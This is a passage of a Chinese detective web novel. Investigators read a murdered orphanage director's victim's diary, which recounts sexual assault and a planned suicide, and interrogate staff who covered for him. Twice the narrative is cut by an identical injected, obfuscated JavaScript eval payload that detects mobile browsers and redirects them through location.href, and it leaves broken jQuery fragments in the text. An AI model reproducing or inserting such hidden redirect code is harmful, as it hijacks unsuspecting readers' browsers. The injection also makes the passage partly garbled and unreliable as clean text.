不知道为什么,她总觉得好像在哪里见过这名女生,以至于她光听着江秋前半段的描述,就自然而然地在纸上勾勒出了那名女子的模样。 她的手速很快,指尖流转间,女子的容颜一点点的跃然纸上。 女子的薄唇紧抿着,鼻子和嘴唇中间有颗小小的黑痣,眼神下意识的往下垂着,有些怯懦…… 几乎是她画完最后一笔的时候,江秋也停了下描述,他凑到向眠的身边,盯着那张肖像画看了两眼,忍不住感叹道:“好厉害啊!这简直是一模一样!这边的痣都画出来了!你之前见过她吗?说来惭愧,就连我自己都不记得她这边有颗痣了……” 向眠闻言,盘着头发的动作微微一顿,她若有所思地垂眸看着眼前的这名女生。 好像从公交车上醒来后,她的脑海里总是会出现一些模糊的场景。 那些场景不是单纯的天马行空,而是和她身边所发生的事情非常相似,甚至会在某种特定的场合重叠在一起。 就像眼前的女生,明明看着画稿对她一点印象都没有,但是手下的画笔却能无意识地勾勒出她的模样。 这也太奇怪了吧…… 然而不等她想明白这其中缘由,就被身后那道略显诧异的疑问给打断了:“咦?这不是余听晚吗?” 向眠循声回过头,远远地就瞧见姜念提着两个塑料袋走了过来。 她将塑料袋里装着的三四个不锈钢饭盒拿了出来:“孤儿院里突然出了这样的事,食堂阿姨和其他老师都忙着处理,所以饭菜潦草了些,只能委屈你们将就一下了。” 向眠原本以为这是她比较谦虚的说法,然而等她打开了饭盒,却发现里面只有一个硬邦邦的窝窝头。 她微微抿了抿唇,尝试性地咬了两口,却怎么也咬不动,就在她准备半吞半就地直接咽下去时,宋立声却将一碗小米粥递到了她的手边。 粥里点缀着清甜的梨丝,那梨丝切的很细,薄如蝉翼,轻轻一抿就化了。 谢扶光闻着梨香,就感觉馋虫都要被勾出来了,手里的窝窝头顿时不香了,他忍不住抱怨道:“老大!你这也太不公平了,怎么就她有!我没有啊!” 宋立声不咸不淡地掀起眼皮:“她胃不好,刚刚出院,吃不了冷的,你也是吗?” 谢扶光瘪了瘪嘴:“这……好吧。不过这馒头也太硬了点吧!” 姜念见状,笑了笑:“其实这个早餐已经不错啦!我记得我小时候,只有一碗稀粥呢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699817|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 向眠有些好奇地问:“你以前也在孤儿院吗?” 姜念也没有藏着掖着:“是啊!一直待到我成年才离开的孤儿院,后面谈恋爱了,就想着结个婚要个宝宝,可惜备孕了好久,一直没怀上,就放弃了,来这边照顾照顾其他没有父母的孩子也不错,有时候真的会在想,这是不是命中注定的缘分呢?从这边离开,然后再回来这边反哺其他的小孩。” “也许吧。”向眠应了声,忽而想起了姜念之前提到的人名:“对了,你刚刚说的‘余听晚’是谁呀?” “哦!她呀!也是这儿的工作人员,不过具体的我也不是很清……”姜念话刚说到一半,就听谢扶光边敲着键盘边说:“查到了!” “余听晚,三十六岁,梨乡县人,父母双亡,从小在孤儿院长大……2023年6月来到向日葵儿童福利院务工,目前租住在‘海默苑’居民楼2楼215室。” 越过孤儿院破旧的铁门,朝着马路对面看去,那是一栋六层高的小楼。 房子老旧,楼梯摇摇晃晃的,每走一步都能听到脚下的铁皮发出咯噔咯噔的声响。 向眠微微皱了皱眉,一手握着已经生锈了的栏杆,一手扶着墙壁,亦步亦趋地跟着宋立声来到了房前。 门口铺着一块已经褪色的粉色地毯,上面堆满了垃圾,凌乱不堪。 宋立声绕过地上的杂物,连着敲了几下门,才听到拖鞋踩在地板上发出吱吱作响的声音,因为余听晚的工资不高,她租住的也是最便宜的居民楼,以至于居民楼的隔音效果很差。 他们站在门外,轻而易举的就能听到里面的动静。 只听里面传来一阵不耐烦的砸吧嘴的声音,然后是慢吞吞踩着拖鞋走过来的声音。 伴随着叮呤咣啷的钥匙声,屋门被人打开了。 开门的是一位年近五十的大妈,她的身上穿着一件不太符合年纪的玫红色睡裙,脚上则蹬着一双绛紫色的塑料拖鞋。 这和照片上余听晚的模样,差的也太远了吧…… 向眠微微皱了皱眉。 就见那名妇女像是软骨动物似的靠在门边:“谁啊谁啊!大清早的敲什么敲!找死啊!” 然而当她目光扫过宋立声的证件时,却瞬间变了脸,一脸委屈地说:“你们可一定要为我做主啊!余听晚这臭娘们,还欠了我一屁股房租没有还呢!也不知道逃到哪里去了,害的我现在是穷的叮当响啊!” “走了?”宋立声微微皱了皱眉,问:“走去哪里了?” 那名妇女满脸不屑地说:“这谁知道她啊!自从她对象生病去世之后,就再没见到过她人影。” “怎么会这样?!”向眠脱口而出。 这也太巧了吧! 他们刚刚顺着性侵案查到了余听晚的身上,她就失踪了?! 妇女哼哼了两句:“没准想不开陪她对象一起去了,也说不准啊!” 陪她对象一起去了? 向眠喃喃地重复了遍,才后知后觉地明白了她的言下之意:“你的意思是——她自杀了?怎么会?” “这有什么不可能的啊!我跟你们讲啊!这小姑娘的对象前几年得了癌症,癌症么大家都知道治不好的,那时候我们街坊邻居的啊都劝她说,趁着还年轻换个对象算了,不然这辈子都要被这对象给拖死。” 她的嘴下一快,就这么直愣愣地把心底的话给说了出来,眼瞅着向眠等人的神情微变,她忙摆手解释:“哎哎哎你们可别觉得我是个没心肝的东西啊!我也是为了这小姑娘好,毕竟你们想想这小姑娘是个孤儿,家里面又不能给她助力,她自己么也就隔壁头的孤儿院里当当老师,能有几个钱,但是癌症看病得要多少钱?!要继续下去的话,指不定什么时候就被拖死了。” “可谁知道,这小姑娘偏偏一根筋就搭在那男的身上,也不知道那男的给她下了什么迷魂汤,长么长得一般般,钱么没有的,就是一张嘴巴特别会说话,把那小姑娘忽悠的是一愣一愣的,发了疯一样的要救活他,可能怎么办呢?前阵子不还是去世了。” 说到这儿,她颇为嫌弃的单手捏着鼻子,指了指地上的行李箱,说:“到头来啊连房租都交不起,只留下这堆破烂。” 向眠顺着她的指尖看去,房子的小角落里摆着一个黑色行李箱。 行李箱很小,有些破旧了,里面不知道放了什么,被塞得鼓鼓囊囊的。 向眠微微抿了抿唇,将里面的东西一一拿了出来:小到牙膏牙刷,大到睡衣雨伞…… 好像只要提上这个行李箱,她随时都可以离开,在任何一个角落里生根发芽,但同样的,这似乎也是她唯一的行李。 她仔细地查看翻找着,白嫩的指尖略过一件件日用品,最后停留在了行李箱隔层里的一本嫩绿色本子上。 本子被保存得很好,像是生怕它磕着碰着似的,上面裹着一层又一层的保鲜膜。 她小心翼翼地揭了开来:“这是……” 13. 012 “——日记本。”宋立声说。 半小时前,他们出租屋里离开后,第一时间便回到了警局,就施恩和余听晚的事情做了进一步调查。 他一步步走到了向眠的身边,说:“一个好消息,一个坏消息,想知道哪个?” 向眠的注意力不禁被他所说的吸引,她想了下:“嗯…坏消息吧。” “坏消息是——”宋立声的语调变得严肃了些,他垂眸看着向眠,说:“余听晚失踪了……” 向眠微微皱了皱眉,有些不可思议道:“怎么会这样?” 宋立声明白她的言下之意,他说:“我让谢扶光根据包租婆说的调取了最近几个月的监控,发现早在两个月前,也就是余听晚男朋友去世的第二天,她也跟着失踪了……” 向眠微微抿了抿唇。 连警方都追查不到她的踪迹的话,那就意味着她最近没有任何的活动轨迹。 要么就是她因为无法接受男友去世的消息,所以在男友去世后选择了自杀,死的悄无声息的;要么就是她刻意避开了警方的监控。 如果是前者,她真的选择了自杀吗? 但如果是后者,她避开警方的监控又是为什么呢?和王峰维的死亡案之间会不会有什么特别的联系呢? 向眠若有所思了一阵,转而又问道:“那么好消息又是什么呢? 宋立声晃了晃手中略显陈旧的本子。 本子的封面是欣欣向荣的奶绿色,上面画着两只可爱的小猫咪。 只一眼,向眠就认出来了—— 是被余听晚藏在行李箱隔层里的本子。 她的目光在本子上停留了一下,似乎在询问这本本子怎么了? 然后她听到宋立声说:“刚刚做了笔迹鉴定,上面的字迹是施恩的,也就是这一系列案件中最初遭到性侵并报案,最终选择自杀的在孤儿院任职的女老师。” “施恩的?”向眠疑惑地问:“可这本本子不是在余听晚的行李箱里吗?难道是被余听晚偷偷藏起来的。” 宋立声不轻不重地“嗯”了声,然后小心地翻开了日记本:“估计是她在处理施恩的私人物品时,特意留下来的。” “我看看。”向眠稍稍凑近了点。 陈旧的日记本上潦草地写着一行行的字。 【2024.10.17】 从今天起我就是孤儿院的老师啦!也不知道是什么样的父母才会狠心抛弃自己的孩子!真是太可恶了!不过都这样了,也没办法了,等我上班后,一定会代替他们父母好好照顾他们的! 【2024.11.01】 孤儿院的小朋友怎么能这么懂事呀!好乖好听话,可是不知道为什么看着他们这么懂事,反倒有点心疼。真希望他们能够不要那么的察言观色,当个开开心心快快乐乐的小朋友就好了! 【2024.11.14】 omg!老板说明天空了去找他,有工作上的事情要和我说…… 该不会是要辞退我吧? 呸呸呸! 【2024.11.15】 他□□了我…… 他就是个人渣,假借给我聊工作的名义,□□我! 我好恨他,我要去报警。 我和他说,我会找警方揭发他的所作所为的。 谁知道他听了,居然笑了?! 他说,我绝对告不赢他的。 他大言不惭地告诉我,孤儿院绝大多数的女生都被他□□过,可是谁也拿他没辙! 怎么可能?!他一定是唬我的,想骗我息事宁人。 - 在警局里,我碰到了一个很好的女警,她带着我做了各种检查。 也确定了我遭到性侵的事实。 可是王峰维他就是个人渣! 他告诉警方,说这是我们俩之间的情趣! 我怎么可能会喜欢上他这样的变态! 可是他就是个疯子,一个图谋已久的疯子! 他拿出了之前给我的礼品清单和给我的钱,说这些是恋爱证据。 去他妈的恋爱证据,这都是我的工资和节日礼,我的每分钱都是干干净净的,怎么可能以恋爱的名义,去骗他的钱。 疯子疯子疯子! 原来他从一开始就下套,从一开始就在不断模糊实习的概念! 【2024.11.16】 一定有什么办法!一定有什么办法能证明他就是个□□犯的! 他做的恶事这么多一定会遭到报应的。 一定会有什么办法的!!! 【2024.11.21】 这几天连续翻律法的书,发现就算没有物证,人证也可以作为佐证。 既然这样的话,那是不是意味着,只要找到其他和我一样遭到过王峰维□□的女生佐证,就能将王峰维绳之以法了呢? 如果真是这样的话,就太棒了! 王峰维也没想到吧,曾经炫耀的话,会成为刺向他的利刃。 还真是活该啊! 【2024.11.22】 谭丽丽(x) 【2024.11.23】 李薇(x) …… 【2024.11.26】 余听晚(x) …… 【2024.11.28】 孙佳文(x) 【2024.12.02】 为什么呢? 大家都不肯作证,为什么会这样呢? 难道她们有什么把柄在王峰维的手里吗? 可是会是什么呢? 床照?录像?又或者是其他什么吗? 【2024.12.05】 早就听说余听晚的男朋友住院了,本来想假借探望她男朋友的名义,和她聊聊,让她帮忙出面作证的。 但看着她男朋友病的那么重,一下子都不好意思开口了,唉……算了,只能再找机会了。 有点心疼她,还好我平时省了点钱,可以帮她顶一顶,希望能稍微解一点她的燃眉之急,也希望她男朋友能够早点好起来吧! 【2024.12.07】 芜湖!好人有好报! 余听晚找到我,谢谢我借她了点钱。不过这当然不是重点啦! 重点是! 余听晚为了感谢我!答应帮我一起去警局作证啦! 虽然有点趁人之危的感觉,但!管他呢! 只要能向警方揭露王峰维的所作所为就好! 毕竟王峰维被抓了,对于余听晚她们来说也算是彻底摆脱噩梦了吧…? 【2024.12.08】 明天又要去警局报警了!祝我好运吧!这一次一定一定要把王峰维绳之以法!加油施恩!你一定可以的!!! 【2024.12.09】 她骗了我…… 我不怪她,只是她们这么做,真的能够挽留住她们想要守护的东西吗? …… 可能因为情绪的波动,后面的字迹扭曲了起来。 本子的纸张更是有些皱皱巴巴的,向眠的指尖拂过,似乎能够感受到纸张因为眼泪掉在上面,而褶皱的痕迹。 原本就有些颤抖的字体,又被泪水滚过,更加地难以辨认了。 向眠看的又认真,看着看着,脑袋和本子之间便只有两三厘米的距离。 乌黑的发丝柔软地缠绕在宋立声白皙的指尖,有些痒痒的。 宋立声的眸色微深,视线顺着秀发,落在了向眠毛绒绒的脑袋上。 后脑勺的纱布已经被取下了,只是简单地贴着一个膏药贴。 向眠可能是嫌膏药贴过于显眼了,将头发松松地盘了起来,用那支掉落在美术馆的黄色彩铅斜斜地固定着,有种随遇而安的闲适感。 然而此刻那支插在发间的彩铅,随着向眠越垂越低的脑袋,几乎都要贴到日记本上了。 宋立声的喉结微微滚动了下,眸色暗沉了几分, 他收起本子的时候,不知道是刻意还是不小心,指腹似有若无的拂过向眠微微卷曲的发卷。 引得向眠微微一怔,有些不明所以地看向宋立声:“宋警官?” 宋立声的指尖不自觉地蜷缩了下,却没有说什么,而是顺着之前向眠看到一半的地方,接着往下读起了日记—— “不知道为什么,这几天晚上,我总是莫名的,想到曾经的同学。” “当时的我因为懦弱胆怯,眼睁睁地看着他们欺负她,伤害她,而不敢站出来……” “只能假装什么都不知道,什么都没有看见,我就这么装啊装啊装了好几年,就在我们高考当天,就在我以为即将摆脱这一切的时候,她死了。” “死在了高考的第一天,我到现在还记得,当时走去考场,经过教学楼旁的一棵大树边时,突然,有一样东西,从天台掉下来,我本来还在想这是什么,结果就听到身边的人都在大喊大叫,走进了一看,发现是她。” “从那以后开始,我动不动就会梦到当时的情景和几个同学围攻她的场景,我时常在想,如果当时我勇敢地站出来了,会不会是不一样的结局。” “会不会她有了个倾诉口想开了,会不会那些人不再欺负她了,会不会……” “有太多的可能,可是早就已经无济于事了。” “曾经的我 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“很抱歉以这样仓促的方式结束自己的性命,但是我不后悔。” “不要为我哭泣,这世界上总要有人为了某种坚持和信念,为了守护一些必须得守护的东西,而做出牺牲的,所以不要为我悲伤难过,要为我感到自豪和骄傲,因为我死而无憾。” “我战斗过,努力过,最终为此付出了生命的代价。这是曾经的我的赎罪,也是对未来可能进入孤儿院工作的女生的保护……” “明天我就将和这个世界说声再见啦!我会死在孤儿院家长接待日当天,会以展览品的形式自杀,我的死状和这本日记本,是我对这世界最后的遗言,所以拜托你了,一定一定要帮我完成心愿好吗?” “你不说话,我姑且就当你答应了。答应了可不能反悔哦!拉勾上吊一百年,谁骗人谁是小狗。” 低沉的嗓音里徐徐在有些过于冷清的病房里响起,一字一句间仿佛束缚着一个倔强而又无措的灵魂。 向眠的鼻头一酸。 心脏像是被一只手狠狠的攥成了一团,闷闷的,说不出的酸涩滋味。 她几乎是无意识的喃喃道:“为什么会这样呢?她明明是个受害者,明明她一直在寻找真相,想要自救,想要救人,怎么会落得这样的下场呢?” “因为——”一道悦耳而带着点磁性的嗓音在她的耳边扩开:“罪行的确定需要建立在一定客观的基础上:证人、证据……缺一不可。不然单凭一句空口白牙的指证就判刑的话,那会有多少无辜的人无端入狱。” 比起之前朗读日记时的优雅,男子的声音更显坚定了几分,像是贴着她的耳边。 他像是变戏法似的从兜里掏出来了一颗水果糖,一边不紧不慢地拨开糖纸,一边接着说:“但这并不意味着包庇罪犯,只要有冤案,只要民众还相信警方。那无论付出什么样的代价,我们都应该回应他们的期许,拼尽所有,也在所不辞。” 说到最后几个字的时候,他恰好剥开了糖纸,递到了向眠的手边。 “不是吗?向同学。”他没有等向眠回答,就直接站起身,慢条斯理地理了理衣服:“正好谢扶光在审讯室,去听听看她们怎么说的吧。” 向眠亦步亦趋地跟着他穿过走廊,来到了一间小黑屋前。 审讯室内灯光如昼,除了本次的主审谢扶光外,还有一名穿着孤儿院制服的女生。 她坐在谢扶光的对面,略显紧张地咽了咽口水,微微张开了嘴。 几乎是同一时间,喃喃的声音伴随着电流的声音传到了她的耳畔:“我叫李薇,22周岁,蒙特县人,两年前毕业后来的孤儿院……” …… 谢扶光:“8月3日王峰维死亡当天,你在哪里?做了些什么?” 李薇似乎是第一次来警局接受审问,神情显得极不自然。 她坐在椅子上,背脊紧绷,双手紧紧地攥在一起,指尖因为过度用力而微微发白:“当天晚上我在班级里照顾学生,对于院长死亡的消息我深感惋惜……” …… 谢扶光:“有人报警说王峰维□□,你知情吗?” 李薇像是惊到了似的,双腿不自觉地缴在了一起,几乎扭成了麻花状:“□□?没有的事,院长他是个非常好的领导,对我们也很照顾,我不相信他会做出这样的事情。” …… 说话声在耳边断断续续的响起,向眠的视线顺着女生的脸部,一点点的挪到了她的手部,最后落在了她的脚上。 那是一双略显破旧的小皮鞋,鞋跟似乎残留着一点…… 她微微瞪大了眼:“居然是她——” 14. 013 宋立声双手环胸,好整以暇地看向向眠:“谁啊?” “帮凶手擦去留在案发现场画作的人——”向眠放慢了些语速,几乎是一字一句地说:“是李薇。” 她一边说着,一边从口袋里拿出了那张还没来得及丢掉的糖纸,随意地翻折了两下,那塑料糖纸就被叠成了李薇的模样。 惟妙惟肖,如果硬要找出什么不同的话,那顶多是—— 李薇的鞋底沾上了一点棕黄色的颜料,而小糖人的底部却是干干净净的。 向眠小心翼翼的将糖纸小人放在掌心上,又将它调整到和李薇相对而立的角度,然后才说:“凶手在杀死王峰维后,将尸体从酒店挪到了孤儿院里,还布置成了名画《押沙龙复仇》里的场景,为的就是向警方揭示王峰维性侵的事。可奇怪的是等警方赶到的时候,那幅作品却已经被毁了。” “这意味着在目击证人也就是我到案发现场前,就已经有人来过了案发现场。她认出了那幅画。和凶手相反的是,这名目击证人不希望警方发现□□性侵的事实,所以在第一时间,就将那幅画给抹去了。” 她顿了顿,抬眸看向审讯室内坐着的李薇,不动声色地继续说:“只是她弄的时候,有些焦急,一时慌乱,不小心踩到了地上的颜料。” “更不巧的是,那颜料并不是买来直接就能用的,而是由多种颜料混合而成的。”说到这儿,她停顿了下,正想要找宋立声取一盘颜料时,转过身却见宋立声已经将颜料递到了她的手边。 她从颜料盘里取出了黄色、白色和棕色等多种颜料,然后耐心地在画纸上涂抹尝试了几次,这才调配出了和李薇鞋底完全一样的颜色。 她小心翼翼地涂在了小糖人的鞋底:“这些颜料间的比例稍微有点偏差,就会是完全不一样的效果。” 在她说后半句话的时候,谢扶光刚好结束了最后一场审讯,听到这话,他不禁凑了过来,盯着小糖人东瞅瞅西瞅瞅地看了好几眼,好奇地问:“那照你这么说的话,该不会那些女子根本就不是受害者,而是加害者?” 向眠有些不解地看向他:“什么?” 谢扶光则道:“孤儿院的工作人员不少,但是我挨个问了个遍,他们都是统一的说法——完全没听说过王峰维性侵的事。那就只剩下两种可能,要么就是老大的推测出了问题,可这压根是不可能的事,要么就是从一开始日记本上的内容就真假参半!不然她们作为受害者为什么要替王峰维掩盖性侵的事实呢!甚至还在王峰维死后撒谎否认,这很奇怪啊!” “还有第三种可能。” 直到这时,宋立声才慢悠悠地开口,声音懒散,却透着一股不容忽视的气场:“这是一场集体的谎言。” 他低头看了眼手中的口供记录:“首先,施恩日记本上的字迹已经做过对比,是施恩自己写的。施恩自杀的时间早,她不可能未卜先知提前猜到王峰维会被杀,警方会追查到王峰维性侵案,所以她没必要在日记本里作假。而且就她写的内容看来,她已经不抱有太大的希望,所以才会选择自杀这样的方式结束自己的生命。” “其次,现在距离当初施恩的事情已经过去两三年了,时间久了,当时的记忆就会有偏差,就算他们几个人的说法再怎么相似,也不可能完全一模一样。” “还有就是案发现场的那首童谣,以及便利店里的记录。监控显示,□□道具和药物都是王峰维自己购买的,没有被胁迫的可能,至于童谣……” 他并没有直接往下说,而是象征性的问了句:“向同学还有印象吗?” 像是为了提示向眠似的,他低声哼唱了两句:“大兔子病了,二兔子瞧;三兔子买药,四兔子熬;五兔子死了,六兔子抬;七兔子挖坑,八兔子埋。九兔子坐在地上哭起来,十兔子问他为什么哭?九兔子说,五兔子一去不回来!”(注①) 向眠的心里突然一紧。她清楚记得那首令人毛骨悚然的童谣。 略显诡异的旋律,瞬间将她拉回了孤儿院那个漆黑的屋子里,她不自觉地皱了皱眉,然后就见宋立声掀起眼皮,一瞬不瞬地看着自己:“如果将日记本的内容和童谣结合在一起——大兔子病了,应该说的就是王峰维喜欢性虐的变态心理,五兔子死了,与之相对应的就是施恩的自杀行为。那么剩下几只知情不报的兔子又会是谁呢?精确点说——” 他原本斜靠在墙上,双臂交叉抱胸,整个人的姿态透露出几分漫不经心,然而说到最后几个字的时候,却上前一步,眼神锐利地看向审讯室里的李薇:“是谁在帮王峰维隐瞒事情真相?” 宋立声的话像是一道惊雷,劈在了她的心头,只一瞬,她就明白了他的言下之意,好看的眉头皱成了一团,她说:“你的意思是……孤儿院的其他老师?” 虽然是疑问,但却是肯定的语调。果不其然,她听到宋立声“嗯”了声:“就是她们。” 说着,他随手抽过一张白纸,简略地白纸上画下一个等边三角形,三角形的最顶端是孤儿院院长王峰维的名字,而左右两个角则分别写上了两名被性侵的小姑娘的姓名。 他不紧不慢地解释道:“两名性侵者都是孤儿院的工作人员,王峰维的准备又很全面,应该不是第一次,可能在这之前,王峰维或多或少侵犯过其他小姑娘,只是现在还不能完全确定其他遭到性侵的小姑娘有谁,但当时施恩报警的事情闹得很大,即便施恩撤诉了,跟她一起工作的,其他在孤儿院地老师肯定或多或少会听说过这件事,她们会私下讨论,并且自发的展开调查……” 向眠听到这句话,微微皱了皱眉,就听宋立声接着往下说:“无论是借口生日骗员工去酒店庆生,又或者是道具的准备工作,假装谈恋爱的过程,甚至模糊工资和赠礼的分界线等等,一系列的操作,院长的准备都非常的熟练,也就是说这不是他不是第一次这么做了。而每个人对/性/爱的癖好不同,比如/强/奸、正常/性/爱又或者是其他什么。” 他轻轻地晃动了下有关王峰维的个人信息,道:“以死者王峰维为例,他年少时曾经遭到过暴力对待语言攻击……对于他来说普通的/性/爱可能无法满足他,这也就意味着他需要性侵才能满足自己的/兽/欲,那么他需要一个稳妥的手法去发泄去满足自己,对于他来说,孤儿院的员工就成了最好拿捏的,不是吗?” “可问题是——”向眠皱眉就着宋立声的话,若有所思,“一般情况下,女生在遭到性侵后都会选择报警,哪怕当时不敢,现在王峰维也已经去世了,她们为什么还会之前的事情闭口不提呢?难道说王峰维手上有她们什么把柄?” “该不会是什么□□视频吧?”谢扶光疑惑地接着往下说:“可问题是王峰维已经死了,警方也早已将王峰维所有的私人物品都清点一遍,并没有什么可疑的物品呀!难道还有什么遗漏的?!” 然而下一秒他的猜测就被向眠否定了,她微微摇了摇头:“不太可能,如果是监控之类的,当时施恩向警方报案时就可以指认这一点,当做证据。可问题是江警官说的时候,并没有提到这一点,说明这种可能性微乎其微。” “那会是什么呢?”谢扶光一时也想不出来,他来回翻着几人的资料,道:“身高体型家世都不一样。年纪也不一样,要说相似的就是都是小山村出来的,算不算?” 向眠皱了皱眉,问道:“还有其他的吗?” “还真没有。她们的年龄差的也很多,有些都有小孩了,有些才刚谈恋爱,差得可不止一星半点。” 他摇了摇头,厚厚的一叠资料上愣是一条有用的线索都没找到,忍不住嚷道:“要我说,还猜什么猜啊!直接用点手段,就比如电视剧里的老虎凳啦什么的……保准招了好吗?!” 然后他听到宋立声散漫的“呵”了一声,他看了眼审讯室,皮笑肉不笑:“那估计下一个坐在审讯室的人就是你了。” 谢扶光烦躁地抓了一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699819|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发:“这也不行,那也猜不到,到底怎么样才能让她们开口啊?!” 话音刚落,就见一名小警员走了过来,只见他凑到宋立声的耳边小声的喃喃了几句,紧接着就见宋立声微微挑了挑眉:“果然如此。” 谢扶光立刻问:“宋队,你是知道她们不肯说的原因是什么了吗?” “是啊!不过在揭示这个谜底之前,还得先麻烦向同学陪我演一场戏。” 宋立声看着向眠那有些迷茫的模样,似运筹帷幄般的勾了勾唇:“就以现在这并不完全知情的模样。” 他一边说着,一边推开了审讯室的大门。 换了一个人进来,并不能让李薇紧绷的神经放松下来,她一脸警惕的看向宋立声,以及他身边的向眠身上:“还有什么问题需要问的吗?孤儿院的孩子们还等着我回去照顾呢!” 她原本以为自己这么说,能让宋立声松口的。 可出乎意料的是,宋立声却像是没有听出她话里的紧迫,自顾自地从桌上的白纸里抽了两张:“你瞧你,还没开始审问呢,这么紧张做什么?这样吧,我们先玩个小游戏,放松一下心情怎么样?” 虽然是询问的语调,但他却不容置疑的将纸张,平铺在了她和向眠的面前。 干净的A4纸上印着一圈圈的圆形图案,瞧着有点像个小漩涡。 向眠捏着纸张看了两眼,然后听宋立声颇为耐心的讲解着绘画规则:“这是一张涂色卡,只需要根据你们的喜好,挑选出喜欢的颜色,从圆心开始,顺时针填充就行。” 她微微抿了抿唇,目光掠过桌上五颜六色的彩笔,略一思索,拿起了其中一支棕色的彩铅,细致地勾勒了起来。 一旁李薇在看到向眠的举动后,紧绷的神情才稍稍放松了些,转而拿起一支灰白色彩铅慢吞吞的涂抹了起来。 最开始她的动作很慢,很克制,像是完成作业般的沿着边廓轮廓涂着颜色,小心翼翼的,生怕画的不好看,引起警方的注意,但渐渐的她的思绪逐渐飘远,连带着落笔都跟着凌乱了起来。 王峰维的□□、威胁,还有藏在心底最深处的秘密…… 她肆意地发泄着情绪,一笔一画像是对王峰维最极致的控诉。 直到彻底图满整张画纸后,她才意犹未尽的停下了画笔。 像是个畸形的变色太阳。 粉色的日核,灰白色的黑子,黑色的耀斑,以及红色的太阳风,因为她画的时候很粗鲁,以至于红色涂到了圈外,像是太阳散发着张牙舞爪诡异的余热。 她微微皱了皱眉,正准备将画纸藏起来,重新画一幅的时候,却被一道低沉的嗓音打断了:“红色代表着愤怒和□□;黑色则代表着压抑的情绪。” 不知道什么时候,宋立声已经来到了她的身后。他垂眸看着她的涂鸦,不紧不慢地说:“你在涂抹黑色和灰白色的时候,动作缓慢,这意味你害怕东窗事发,影响你现在的生活,但是你知道这件事情肯定会曝光,所以只能尽可能的掩盖事实,哪怕真相已经岌岌可危,随时会暴露出来,而你在画红色的时候,动作用力,几乎要将纸张戳破的力度,说明你在不断发泄着自己心底的怒火。” “你很恨他,但又不得不为他隐瞒是吗?”宋立声一边说着,一边放下画纸,走到了李薇的面前:“至于这其中的原因——” 他顿了顿,像是刻意引诱着她,直到李薇眼底流露出些许的焦急惶恐,他才接着往下说:“我猜是因为这抹粉色吧。你很珍惜它,所以画的时候嘴角带着笑意,为了防止它被其他颜色覆盖,还刻意用了灰白色……” “灰白色意味着自我逃避,粉色则意味着爱情,你企图用自我催眠和逃避的方式,是守护你的爱情,不过可惜了——” 不等李薇开口,就听宋立声略带惋惜地说:“这整幅画本就是一体的,不论怎么区分,都没有办法彻底分割,所以直到现在,你真的觉得还有替他隐瞒的必要吗?” 15. 014 洁白的灯光笼罩在宋立声的身上,为他渡上了一层神圣的光芒。 早在他们两人进来的时候,李薇就感觉到了明显的不安。 坐在左侧的那名女生,瞧着年纪小小的,柔软的长发用一支黄色彩铅高高地挽起,没有什么攻击性,然而她的眼睛却乌黑透亮,似乎在不断地窥探着她内心深处的秘密。 如果单是那名女生的话,也许自己并不会这么快就坦白。 但是这名女生旁坐着的那位男子,姿态松弛,但他的眼神很深邃,像是一眼望不到底的波澜不惊的古井,她看不透他在想些什么,但他却仿佛一眼就能看清她心底的想法。 这样的眼神,让她惶恐,让她不自觉地想要说出实情。 她总感觉对方早就知道了事情的经过,只是给了她一个提前说出真相的机会。 攥着的双手愈发紧了些,大约过了三五分钟,她像是终于妥协了一般,深深地舒了口气:“当时去面试的时候,听到王峰维询问我是否有男朋友,是否结婚之类的问题时,我还觉得有些纳闷,回到家我还和男朋友提起了这点,那时候我们并不知道他的真面目,我男朋友的第一反应是,他既然会这么问,就意味着你们那边是没有职场性骚扰的。” “我想了下似乎也只有这么一种可能。上班之后,我们的工作内容很轻松,时不时的还能收到老板旅游带回来的礼物和一些奇奇怪怪名义给的奖金之类的,所以当时我非常庆幸碰到他这样的老板。” “直到我生日那天,他邀请我去酒店给我举办生日派对,当时我很高兴的就去了,我以为是一场惊喜,谁知道却是惊吓。” “我到的时候,酒店里只有他一个人,他和我说,其他的人去给我拿生日蛋糕了,等会儿就过来,出于这些天的相处,我并没有怀疑他。我喝了他递过来的酒,然后就觉得脑袋有点晕,眼前模模糊糊的,浑身使不上劲,而这时距离我来到酒店已经过去了半小时了,老板说的那些帮我庆祝的同事还没来,我渐渐的察觉到了不对劲。” “我拼命想要离开这儿,我不断的向前逃跑,可是无论我怎么跑他都在我的身后,好像怎么都逃不掉。” “渐渐地我的力气越来越小,陷入了昏迷。” “等我再次醒来的时候,我的腰好像要断了,很痛,身上也是各种……” “痕迹。如果是普通的性/爱/是不会造成这么大的伤痛的,除非——” “性虐。” “我在屋子里看到了很多残忍的道具。” “我第一反应就是要报警。可是等我好不容易捡起手机,准备报警时,他却和我说:‘想想你的男朋友吧……’” 李薇讲话的速度很慢,她一边说着,一边像是不愿意面对似的将脑袋埋进了掌心里,声音听着闷闷的:“我可以报警,但是报警之后呢?警方会调查,可王峰维那个畜生已经给我做了清理了,我的体内没有他的……充其量不过就是查明了我遭到了猥亵的事实,既不能直接定了王峰维的罪行,还有被公之于众的风险。 “就算退一万步讲,警方侥幸在我的体内查到了他的……可那又能怎么样呢?酒店这边没有监控,非常隐私,没有人会知道究竟是不是/强/奸;而且王峰维之前还特意给我送了很多礼物,说是员工福利,但他也完全可以胡编乱造成我们‘恋爱的证明’。” 